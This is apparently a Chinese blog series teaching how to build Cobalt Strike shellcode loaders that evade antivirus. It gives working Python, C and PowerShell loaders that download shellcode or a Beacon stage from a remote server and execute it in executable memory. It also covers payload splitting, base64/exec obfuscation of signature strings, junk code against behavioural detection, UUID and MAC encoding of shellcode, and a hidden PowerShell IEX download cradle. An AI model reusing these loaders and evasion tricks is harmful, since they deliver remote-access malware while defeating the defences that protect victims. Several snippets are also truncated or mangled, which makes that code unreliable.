pyinstaller3.0
pip install pyinstaller==3.0
生成exe文件也可以用py2exe打包,因为pyinstaller很多特征也被标记恶意了。。。。
shellcode编码
shellcode实际上是一段操作代码,计算机实现特定恶意功能的机器码转换成16进制
我是将shellcode生成后,经hex编码,再base64编码,放在了服务器123.txt文件上
然后loader访问该文件即可
scode = requests.get("
http://192.168.1.1/123.txt")
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))
只要你的IP或URL没有被标记恶意网站或c2服务器,基本是不会拦截访问的。
我们还是怕被检测到访问的是恶意代码,这里就萌生了我之前php免杀的思路《拆分代码》
将编码后的代码,分成几段,放在服务器上不同文件上
由于是单个单个访问代码的部分片段,杀软没这本事将所有片段拼起来再检测有没有恶意。
将base64代码分成两段放在服务器1.txt,2.txt
然后加载将文本拼接起来,解码就得了
scode1 = requests.get("
http://192.168.1.1/1.txt")
scode2 = requests.get("
http://192.168.1.1/2.txt")
shellcode = bytearray(base64.b64decode(scode1.text+scode2.text).decode('hex'))
或者将b代码分成三段,然后分别进行base64编码
scode1 = requests.get("http://192.168.1.1/1.txt")
scode2 = requests.get("http://192.168.1.1/2.txt")
scode3 = requests.get("http://192.168.1.1/3.txt")
shellcode =
bytearray((base64.b64decode(scode1.text)+base64.b64decode(scode2.text)+base64.b6
4decode(scode3.text)).decode('hex'))
自己搞个加密方式,加密后上传服务器也行。
这些就比较随心所欲了,怎么拆分的逆着怎么还原就行。
同理,如果你的loader也是放在服务器上的,可以相同方式加载然后exec执行。
就记住一点杀软没这本事将所有片段拼起来再检测有没有恶意,就算是人工溯源也够他喝一壶的了。
2.CS免杀-Shellcode Loader原理(python)
shellcode和loader
最近在学习cs免杀,由于比较菜只懂python语言,就先了解py是如何实现加载
shellcode
写入内存的。
shellcode
是一段用于利用软件漏洞而执行的代码
shellcode loader
是用来运行此代码的加载器
shellcode比作子弹的话,loader就是把枪,两者缺一不可
枪和子弹在一起才有威胁性肯定不让过安检啊
当只有loader这边枪时,没子弹构不成威胁,所以可能会绕过免杀
当只有shellcode时,只有子弹没有枪,也可能会绕过免杀
上面就是分离免杀的大致原理,
将loader上传到主机,用loader加载shellcode
shellcode
我们在用cs生成
payload
时,会生成一段特定编程语言的代码(以python为例)
里面一长串
\xfc
样式的16进制代码,这就是子弹
shellcode
但光有子弹不行,所以我们需要一把枪
loader
才能让他发挥作用。
loader加载器
这里找了一个网上的python内存加载器 环境:python2.7
本文主要写的也是关于该加载器的实现原理,和调用参数的分析
import ctypes
import requests
import base64
scode = requests.get("http://192.168.1.1/123.txt")
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
ctypes库
python的
ctypes
模块是内建,用来调用系统动态链接库函数的模块
使用
ctypes
库可以很方便地调用C语言的动态链接库,并可以向其传递参数。
import
ctypes
import
requests
import
base64
读取shellcode
我是将shellcode生成后,使用
base64
编码,放在了服务器123.txt文件上
由于后面操作是将代码
写入内存
,所以需要将代码解码并转为
字节类型
scode = requests.get(
"http://192.168.1.1/123.txt"
)
shellcode = bytearray(base64.b64decode(scode.text).decode(
'hex'
))
设置返回类型
我们需要用
VirtualAlloc
函数来申请内存,返回类型必须和系统位数相同
想在
64
位系统上运行,必须使用
restype
函数设置
VirtualAlloc
返回类型为
ctypes.c_unit64
,否则默认的是
32
位
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
调用
VirtualAlloc
函数,来申请一块动态内存区域。
VirtualAlloc函数原型和参数如下:
LPVOID VirtualAlloc{
LPVOID lpAddress, #要分配的内存区域的地址
DWORD dwSize, #分配的大小
DWORD flAllocationType, #分配的类型
DWORD flProtect #该内存的初始保护属性
申请一块内存可读可写可执行
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
ctypes.c_int(0)
是NULL,系统将会决定分配内存区域的位置,并且按64KB向上取整
ctypes.c_int(len(shellcode))
以字节为单位分配或者保留多大区域
ctypes.c_int(0x3000)
是 MEM_COMMIT(0x1000) 和 MEM_RESERVE(0x2000)类型的合并
ctypes.c_int(0x40)
是权限为PAGE_EXECUTE_READWRITE 该区域可以执行代码,应用程序可以读写该区域。
具体参考百度百科:https://baike.baidu.com/item/VirtualAlloc/1606859?fr=aladdin
将shellcode载入内存
调用RtlMoveMemory函数,此函数从指定内存中复制内容至另一内存里。
RtlMoveMemory函数原型和参数如下:
RtlMoveMemory(Destination,Source,Length);
Destination :指向移动目的地址的指针。
Source :指向要复制的内存地址的指针。
Length :指定要复制的字节数。
从指定内存地址将内容复制到我们申请的内存中去,shellcode字节多大就复制多大
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
ctypes.c_int(len(shellcode)))
调用CreateThread将在主线程的基础上创建一个新线程
CreateThread函数原型和参数如下:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性
SIZE_T dwStackSize, #置初始栈的大小,以字节为单位
LPTHREAD_START_ROUTINE lpStartAddress, #指向线程函数的指针
LPVOID lpParameter, #向线程函数传递的参数
DWORD dwCreationFlags, #线程创建属性
LPDWORD lpThreadId #保存新线程的id
创建一个线程从shellcode放置位置开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
lpThreadAttributes
为NULL使用默认安全性
dwStackSize
为0,默认将使用与调用该函数的线程相同的栈空间大小
lpStartAddress
为ctypes.c_uint64(ptr),定位到申请的内存所在的位置
lpParameter
不需传递参数时为NULL
dwCreationFlags
属性为0,表示创建后立即激活
lpThreadId
为ctypes.pointer(ctypes.c_int(0))不想返回线程ID,设置值为NULL
具体参考百度百科:https://baike.baidu.com/item/CreateThread/8222652?fr=aladdin
等待线程结束
调用WaitForSingleObject函数用来检测线程的状态
WaitForSingleObject函数原型和参数如下:
DWORD WINAPI WaitForSingleObject(
__in HANDLE hHandle, #对象句柄。可以指定一系列的对象
__in DWORD dwMilliseconds #定时时间间隔
等待创建的线程运行结束
ctypes.windll.kernel32.WaitForSingleObject(
ctypes.c_int(handle),
ctypes.c_int(-1))
这里两个参数,一个是创建的线程,一个是等待时间
当线程退出时会给出一个信号,函数收到后会结束程序。
当时间设置为0或超过等待时间,程序也会结束,所以线程也会跟着结束。
正常的话我们创建的线程是需要一直运行的,所以将时间设为负数,等待时间将成为无限等待,程序就不会结束。
具体参考百度百科:https://baike.baidu.com/item/WaitForSingleObject/3534838?fr=aladdin
上面loader大致原理就是申请一块内存,将代码字节存入该内存,然后开始运行该内存储存的程序,并让该程序一直运行下去。
3.CS免杀-UUID写入内存(python)
UUID加载器
前几天看到一个加载器很有意思,通过uuid方式将shellcode写入内存中
在此复现一下,虽然不免杀,但可以扩宽我们将shellcode写入内存的知识面。
UUID是啥
UUID: 通用唯一标识符 ( Universally Unique Identifier ), 对于所有的UUID它可以保证在空间和时间上
的唯一性. 它是通过MAC地址, 时间戳, 命名空间, 随机数, 伪随机数来保证生成ID的唯一性, 有着固定的大
小( 128 bit ). 它的唯一性和一致性特点使得可以无需注册过程就能够产生一个新的UUID. UUID可以被
用作多种用途, 既可以用来短时间内标记一个对象, 也可以可靠的辨别网络中的持久性对象.
转换为UUID
python有根据十六进制字符串生成UUID的函数uuid.UUID()
https://docs.python.org/3/library/uuid.html
注意16个字节转换一个uuid值,\x00是一个字节
当剩余字节数不满16个可添加\x00补充字节数,必须将全部的shellcode全部转化为uuid
import uuid
scode = b'''\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\......'''
list = []
for i in range(len(scode)/16):
bytes_a = scode[i*16:16+i*16]
b = uuid.UUID(bytes_le=bytes_a)
list.append(str(b))
print(list)
UUID写入内存
将普通的内存加载器改了改,能用就行
主要是了解uuid写入内存的实现过程
下面已经将shellcode转为了uuid,并放在列表中
import ctypes
import requests
import base64
shellcode = ['e48348fc-e8f0-00c8-0000-415141505251', 'd2314856-4865-528b-6048-
8b5218488b52'.......]
申请内存,注意申请内存的大小len(shellcode)*16
有多少uuid值,它的16倍就是需要的内存大小
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode)*16, 0x1000,
0x40)
通过UuidFromStringA函数,将uuid值转为二进制
二进制则储存在内存当中,rwxpage1是内存指针,表示从该指针位置写入。
rwxpage1+=16是控制指针的位置,每写入一个uuid二进制需要将指针移动16个字节
rwxpage1 = rwxpage
for i in list:
ctypes.windll.Rpcrt4.UuidFromStringA(i,rwxpage1)
rwxpage1+=16
然后创建线程运行即可。
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
4.CS免杀-MAC写入内存(python)
前几天不是研究过uuid加载器《CS免杀-UUID写入内存(python)》吗,觉得这种加载方式很有意思,通过api函数将uuid转为二进制写入内存。
今就突发奇想有没有别的api函数有异曲同工之处,我就搁开发手册搜啊,搜to a binary搜了半天
嘿还真找着了俩函数
RtlEthernetStringToAddressA和RtlEthernetAddressToStringA
发现是操作MAC地址的,可以将mac字符串转换成二进制写入内存,所以就有了本文
MAC是啥
MAC地址也叫物理地址、硬件地址,由网络设备制造商生产时烧录在网卡的EPROM一种闪存芯片,通常可以通过程序擦写。IP地址与MAC地址在计算机里都是以二进制表示的,IP地址是32位的,而MAC地址则是48位(6个字节)的 。
转换MAC
RtlEthernetAddressToStringA
该函数是ntdll.dll库的函数,可以把mac地址二进制格式转换为字符串表示
\xFC\x48\x83\xE4\xF0\xE8 ====> FC-48-83-E4-F0-E8
https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlethernetaddresstostringa
函数原型:
NTSYSAPI PSTR RtlEthernetAddressToStringA(
const DL_EUI48 *Addr, PSTR S
使用此函数可以将二进制转换为mac格式
注意6个字节转换一个mac值,\x00是一个字节
当剩余字节数不满6个可添加\x00补充字节数,必须将全部的shellcode全部转化为mac值
在转换之前,需要一块内存用来接收mac值
由于我们转换成mac后,6个字节变成了17个字节,所以需内存大小自己算一下
shellcode = b'\xfc\x48\x83\xe4...'
macmem = ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode)/6*17,0x3000,0x40)
然后每隔六个字节进行一次转换,此时内存地址递增17
for i in range(len(shellcode)/6): bytes_a = shellcode[i*6:6+i*6] ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
这时可以看看内存中的值,是否是mac字符串形式
a = ctypes.string_at(macmem,len(shellcode)*3-1)
print(a)
转换成mac字符串后,可以进一步转换成列表,或者复制下来放在服务器远程加载
list = []
for i in range(len(shellcode)/6):
d = ctypes.string_at(macmem+i*17,17)
list.append(d)
print(lis
MAC写入内存
下面已经将shellcode转为了MAC,并放在列表中
import ctypes
list = ['FC-48-83-E4-F0-E8', 'C8-00-00-00-41-51', '41-50-52-51-56-48', '31-D2-65-48-8B-52', '60-48-8B-52-18-48'......]
RtlEthernetStringToAddressA
该函数是ntdll.dll库的函数,将MAC值从字符串形式转为二进制格式
FC-48-83-E4-F0-E8 ====> \xFC\x48\x83\xE4\xF0\xE8
https://docs.microsoft.com/en-us/windows/win32/api/ip2string/nf-ip2string-rtlethernetstringtoaddressa
NTSYSAPI NTSTATUS RtlEthernetStringToAddressA(
PCSTR S,
PCSTR *Terminator,
DL_EUI48 *Addr
一二参数传入mac值,第三参数传入接收的内存指针
ctypes.windll.Ntdll.RtlEthernetStringToAddressA(mac,mac, ptr)
申请内存,注意申请内存的大小len(list)*6有多少mac值,它的6倍就是需要的内存大小
ptr = ctypes.windll.kernel32.VirtualAlloc(0,len(list)*6,0x3000,0x04)
通过RtlEthernetStringToAddressA函数,将mac值转为二进制写入内存
rwxpage是内存指针,表示从该指针位置写入
rwxpage+=6是控制指针的位置,每写入一个mac二进制需要将指针移动6个字节
rwxpage = ptr
for i in range(len(list)):
ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage)
rwxpage += 6
然后创建线程运行即可
ctypes.windll.kernel32.VirtualProtect(ptr, len(list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
使用py2.7环境,CS生成的64位shellcode
成功上线,免杀没有测试,主要是研究姿势
5.分析-AllocADsMem内存申请
在现在许多的shellcode加载器中,内存申请是必不可少的一部分,常用的就是VirtualAlloc函数来申请一块动态内存来存放我们的shellcode。
再后来,为了逃避检测申请内存的行为,采用了渐进式加载模式,也就是申请一块可读可写不可执行的内存,使用VirtualProtect函数将内存区块设置为可执行,从而规避检测。
然而现在也有杀软对VirtualAlloc和VirtualProtect连用进行查杀。。。。
在前几天找《mac,ipv4》那些内存加载函数时,一同发现了两个有意思的AllocADsMem和ReallocADsMem函数,竟然能申请内存?哎嗨?好玩。今就研究研究能利用一下不。
AllocADsMem
该函数在Activeds.dll库中,可以分配的指定大小的存储块。
函数原型:
https://docs.microsoft.com/en-us/windows/win32/api/adshlp/nf-adshlp-allocadsmem
LPVOID AllocADsMem(
DWORD cb
参数是要分配的内存大小,成功调用则返回一个指向已分配内存的非NULL指针, 如果不成功,则返回NULL。
看这描述就是申请一个内存啊,但是测试发现该内存可读可写不可执行,所以可以用VirtualProtect修改为可执行属性
ptr1 = ctypes.windll.Activeds.AllocADsMem(len(shellcode))
ctypes.windll.kernel32.VirtualProtect(ptr1, len(shellcode), 0x40, ctypes.byref(ctypes.c_long(1)))
ReallocADsMem
该函数在 Activeds.dll库中,可以复制指定内存内容,并新申请一块内存用来存储
函数原型:
https://docs.microsoft.com/en-us/windows/win32/api/adshlp/nf-adshlp-reallocadsmem
LPVOID ReallocADsMem(
LPVOID pOldMem,
DWORD cbOld,
DWORD cbNew
调用成功返回一个指向新分配内存的指针,否则返回NULL。
看介绍啊,这个函数干了两个函数的事,申请内存和复制内存,但是只能从内存中复制
但是我们就是愁怎么往内存中复制内容,所以这个函数看着很鸡肋
但是突发奇想,这函数能不能混淆视线,用AllocADsMem申请的内存我不用就是玩,我用ReallocADsMem将内容复制出来申请一个新内存,将该内存改为可执行。
ptr2 = ctypes.windll.Activeds.ReallocADsMem(ptr,len(shellcode),len(shellcode))
ctypes.windll.kernel32.VirtualProtect(ptr2, len(shellcode), 0x40, ctypes.byref(ctypes.c_long(1)))
使用的mac加载器,测试的将VirtualAlloc替换为AllocADsMem函数,并改为可执行内存
环境py2.7,使用cs生成的64位shellcode
import ctypes
shellcode = b"\xfc\x48\x83\"
macmem = ctypes.windll.Activeds.AllocADsMem(len(shellcode)/6*17)
for i in range(len(shellcode)/6):
bytes_a = shellcode[i*6:6+i*6]
ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
list = []
for i in range(len(shellcode)/6):
d = ctypes.string_at(macmem+i*17,17)
list.append(d)
ptr = ctypes.windll.Activeds.AllocADsMem(len(list)*6)
rwxpage = ptr
for i in range(len(list)):
ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage)
rwxpage += 6
ctypes.windll.kernel32.VirtualProtect(ptr, len(list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
接下来用ReallocADsMem来混淆一下视线,AllocADsMem申请的内存可读可写即可,ReallocADsMem申请的内存改为可执行
相同环境,测试上线
import ctypes
shellcode = b"\xfc\x48\x83......"
macmem = ctypes.windll.Activeds.AllocADsMem(len(shellcode)/6*17)
for i in range(len(shellcode)/6):
bytes_a = shellcode[i*6:6+i*6]
ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)
list = []
for i in range(len(shellcode)/6):
d = ctypes.string_at(macmem+i*17,17)
list.append(d)
ptr = ctypes.windll.Activeds.AllocADsMem(len(list)*6)
rwxpage = ptr
for i in range(len(list)):
ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage)
rwxpage += 6
ptr2 = ctypes.windll.Activeds.ReallocADsMem(ptr,len(list)*6,len(list)*6)
ctypes.windll.kernel32.VirtualProtect(ptr2, len(list)*6, 0x40,ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr2, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
依旧成功上线
免杀没有测试,只是分享思路,申请内存函数不只是那一个能用。
6.CS免杀-分离+混淆免杀思路
混淆语句+分离免杀
杀软的静态扫描,基本是按照匹配特征码,根据哈希算法从病毒体中提取的病毒特征码,逐个与程序文件的md5比较。
但是呢程序的内容只要稍微微改动一点,md5值就会改变
所以杀软还有一种方法是通过模糊哈希算法 ,找出一段不会改变的程序作为特征码,匹配这段程序的就当木马病毒处理
loader加载器
这是网上python通用的shellcode loader
加载器原理请看这《CS免杀-Shellcode Loader原理(python)》
这个加载器我先将shellcode进行hex和base64编码分离放在了服务器端,所以静态查杀只查loader部分
接下来就通过单步走找出特征码
我使用的pyinstaller将程序打包成exe
pyinstaller --noconsole --onefile test.py
上面加载器没任何处理,进行打包是会被火绒查杀的
我们将第一条语句留着,其他的全部删除,打包exe发现没有查杀
然后每次打包增加一条语句,直到发现进行了查杀
将该语句删除,其他的全部打包,发现不报病毒了
找到特征码
到这我们可以确定,这段代码中包含着火绒的特征码
这是调用win的操作内存的语句
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_int(ptr),
ctypes.c_int(len(shellcode)))
根据模糊哈希的意思呢,这个语句md5应该不会变,可这后面参数想咋变就咋变啊。。。
深入研究发现,特征码原来在前面,只要有RltMoveMemory这段字符就会查杀
所以确定RltMoveMemory这段字符就是特征码
知道了特征码是啥,那就将它进行处理
有两种思路,一是换一个可以达到相同效果的函数,但我没找到,RltCopyMemory也会被查杀
另一种思路就是该字符明面上不出现在语句当中
直接将整个语句加密,用eval或exec函数运行
将上面语句base64转码,eval运行解码的语句
string = '''Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX2ludChwdHIpLGJ1ZixjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpKQ=='''
eval(base64.b64decode(string))
明面上没有特征码了,所以就绕过火绒了
这里的话基本是够用了。
既然shellcode能放在服务器上,那我们的loader是否也可以尝试一下。。
这里eval函数不够用了,只能运行一条语句
换成exec函数,可以将Python代码用分号;连接起来运行
a = '''ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64;ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40));buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode)));handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))'''
exec(a)
进行base64编码,放在我的服务器2.txt文件中
最后查杀代码部分就剩这点了
7.CS免杀-添加花指令
花指令主要是用来扰乱动态扫描的,但前提是你已经绕过了静态检测《CS免杀-分离+混淆免杀思路》
如果你一股脑的把恶意的代码运行完,目的明确训练有素直击要害,肯定会被检测到啊
为了不让程序检测出我们运行的逻辑和目的,就可以在代码中加入花指令来干扰动态检测。
主要是在代码语句中穿插各种没用的代码,让它显得人畜无害。
就比如:小学生放学了,表现的像乖乖回家的样子,结果半路去了网吧,去网吧以为要玩CSGO,结果打开了小刚的公众号,然后趴在那睡觉。
表现的让杀软捉摸不透,你就有机会绕过动态行为检测。
花指令也没啥固定的利用姿势
就是穿插一些没用的代码或思维逻辑判断语句就行
生产随机字符串
网上找的一个忘记哪个大佬的生成随机字符串的函数
import random, string
def GenPassword(length):
numOfNum = random.randint(1,length-1)
numOfLetter = length - numOfNum
slcNum = [random.choice(string.digits) for i in range(numOfNum)]
slcLetter = [random.choice(string.ascii_letters) for i in range(numOfLetter)]
slcChar = slcNum + slcLetter
random.shuffle(slcChar)
getPwd = ''.join([i for i in slcChar])
return getPwd
可用的loader
网上找一个可用python的加载器《CS免杀-Shellcode Loader原理(python)》
用这个随机字符串使劲改就完了
import ctypes
import requests
import base64
scode = ''
if GenPassword(13) == 'jksdfjk':#逻辑判断
print('True')
else:
scode = requests.get("http://192.168.1.1/1.txt")
abc = GenPassword(13)+GenPassword(6)#干扰
shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))
abd = ''.format(GenPassword(6),GenPassword(9),scode.text)#干扰
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
abdas = GenPassword(6)+GenPassword(9)#干扰
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
if 'sad' != GenPassword(7):#干扰
abd = GenPassword(7)
else:
abc = abd
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
ctypes.c_int(len(shellcode)))
abd = GenPassword(6)+GenPassword(9)#干扰
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
abd = GenPassword(6)+GenPassword(9)#干扰
GenPassword(6) if 2>3 else ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))#逻辑判断
测试一下能上线就行
上面只是花指令的过动态检测思路,前提是得先绕过静态检测哦
真正绕过动态免杀光靠花指令是不够的,混淆加密分离还是必不可少的。
真正免不免杀还是要靠自己亲手测试一下,多尝试多改动。
8.CS免杀-实现shellcode拉取stage
Shellcode原理
通常我们使用CS生成payload后,都是利用加载器将payload放在内存中运行
但payload是如何与CS服务器通信的,我们不是很了解
因为生成的payload是一串机器码,没有反汇编能力的很难看懂其中的原理当我网上查资料发现,原来CS生成的shellcode是使用wininet库实现的加载器,用来下载对应的stage(Beacon),并将stage注入到内存中去。
但是这里的访问stage不是随便访问的。CS客户端会判断我们的请求,请求正确才会返回给我们stage数据。
看一下CS的源码啊
在CS的源码中,会根据访问的URI,经过一系列操作checksum8()是否等于92或93来判断访问。
等于92返回32位beacon,等于93返回64位beacon,都不等于则访问失败。
当然,每个人配置不同也会同时根据访问url或user-agent等判断。
这里我生成两个exe文件,一个32位,一个64位
可以看到URI为/trF4时CS判断为32位,为/Ln5r时判断为64位
这样访问http://192.168.10.1:8989/Ln5r就会返回给我们
这样我们可以通过py将stage写入内存实现CS上线64位的stage(Beacon)
import ctypes
import requests
headers = {
'User-Agent': "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)",
shellcode = requests.get("http://192.168.10.1:8989/Ln5r", headers=headers)
shellcode = bytearray(shellcode.content)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x3000, 0x40)
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ptr,buf,len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
注意URI根据自己CS的配置来,可以先生成64位exe,看它访问的URI是多少
加载器目前只能实现64位上线,32位有空再搞搞。
然后可以将py代码转成汇编,再转成shellcode,有会转shellcode的大佬可以教教我。
9.CS免杀-内联汇编Loader前言
免杀套路实在是太多了,虽然单种方式不一定免杀,但打组合拳绝对是无敌的存在
在《CS免杀-分离+混淆免杀思路》等几篇文章写过好几个免杀的小技巧
但是不一样的语言有不一样的优点
今就了解了解C语言的内联汇编,学习姿势、扩充技巧
C语言内存加载器
下面是一个简单的C语言的shellcode_loader啊
#include
#include
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//不弹窗
#pragma comment(linker, "/INCREMENTAL:NO")
int main(int argc, char **argv)
unsigned char buf[] = "\xfc";
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
看过我那篇《CS免杀-Shellcode Loader原理(python)》的应该就熟悉的多了
C语言的函数都可以通过汇编来实现
#include
#include
unsigned char buf[]="";
向通过汇编调用函数,我们需要知道函数的地址
GetProcAddress是检索指定的动态链接库(DLL)中的输出库函数地址
lpProcName参数能够识别DLL中的函数。
如果函数调用成功,返回值是DLL中的输出函数地址。
如果函数调用失败,返回值是NULL。得到进一步的错误信息,调用函数GetLastError
LPVOID lp = GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
size_t dw_size = sizeof(buf);
void *exec = NULL;
然后通过C中内联汇编将参数入栈,然后执行函数
call执行将返回函数的指针
__asm
push 0x40;
push 0x1000;
mov eax, dw_size;
push eax;
push 0;
mov eax, lp;
call eax;
mov exec, eax
VirtualAlloc函数
上面汇编指令是就是实现了VirtualAlloc函数申请内存
void *exec = VirtualAlloc(0,sizeof buf,MEM_COMMIT,PAGE_EXE_EXECUTE_READWRITE);
__asm
push 0x40; //可读可写可执行页参数入栈
push 0x1000; //MEM_COMMIT参数值入栈
mov eax, dw_size; //定义空间大小
push eax; //将空间大小入栈
push 0; //由系统自行决定内存空间起始地址入栈
mov eax, lp; //移动到virtualAlloc函数地址
call eax; //运行该函数
mov exec,eax;//调用地址
RtlMoveMemory函数
同理,使用汇编实现内存复制RtlMoveMemory,下面是将shellcode复制到申请的地址当中去
//memcpy(exec, buf, sizeof buf);
LPVOID op = GetProcAddress(LoadLibraryA("kernel32.dll"), "RtlMoveMemory");
__asm
mov eax, dw_size;
push eax;
lea eax, buf
push eax
mov ecx, exec
push ecx
mov eax, op;
call eax;
最后使用汇编跳转到exec函数运行
__asm
jmp exec;
最终源码是这样啊
#include
#include
unsigned char buf[]="";
int main(){
LPVOID lp = GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
size_t dw_size = sizeof(buf);
void *exec = NULL;
__asm
push 0x40;
push 0x1000;
mov eax, dw_size;
push eax;
push 0;
mov eax, lp;
call eax;
mov exec, eax;
LPVOID op = GetProcAddress(LoadLibraryA("kernel32.dll"), "RtlMoveMemory");
__asm
mov eax, dw_size;
push eax;
lea eax, buf;
push eax;
mov ecx, exec;
push ecx;
mov eax, op;
call eax;
__asm
jmp exec;
return 0;
原理是可行的,不上线自己再调试一下,本文只是学习姿势
10.CS免杀-PowerShell上线
分析PowerShell命令
Powershell无文件上线,使用CS的scripted web delivery生成powershell脚本,挂在服务器上
CS会生成一句powershell命令,并将ps脚本挂在CS服务器上
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:80/a'))"
看看访问的http://192.168.1.1:80/a文件有什么
发现是一大串PS命令,它先使用base64解码,之后通过IO.MemoryStream.GzipStream解压缩,得到解码后的PS脚本,并IEX执行该脚本
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("vbxH516NOyTVgUA......."));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
输出一下解码后的脚本,修改IEX为echo,就可输出源代码了
powershell -ExecutionPolicy bypass -File power.ps1 >> source.ps1
分析PowerShell加载器
仔细观察源代码啊,发现这就是CS直接生成的powershell的payload啊。
有两个函数fungetprocaddress和functiongetdelegatetype,然后一个base64解码,并进行xor异或处理得到shellcode,分配内存,复制shellcode到内存,最后执行shellcode
就是一个典型的powershell版本shellcode加载器
这里的base64编码的一大串内容,盲猜就是shellcode异或处理又base64编码来的
既然这样就输出一下解码后得到的16进制机器码
echo $var_code >> shellcode.bin
暂时看不太懂机器码。。。
既然是内存加载器,就改一下加载器
不将shellcode写死在ps脚本中,而是将shellcode放在服务器上,远程加载实现分离免杀
[Byte[]]$var_code = (New-Object Net.WebClient).downloaddata('http://192.168.1.1/payload.bin')
这里的bin文件用CS或msf生成的都可以,其他代码不改,先尝试一下能上线不。
能上线后就修改一下ps脚本的其他特征。
func_get_delegate_type函数重命名为function func_ttt
func_get_proc_address函数重命名为func_hhh
downloaddata函数改为"down`lo`addata"
downloadstring函数改为"download`str`ing"
'Invoke'字符串改为为'Inv'+'oke'
$var_code变量为$var_dode
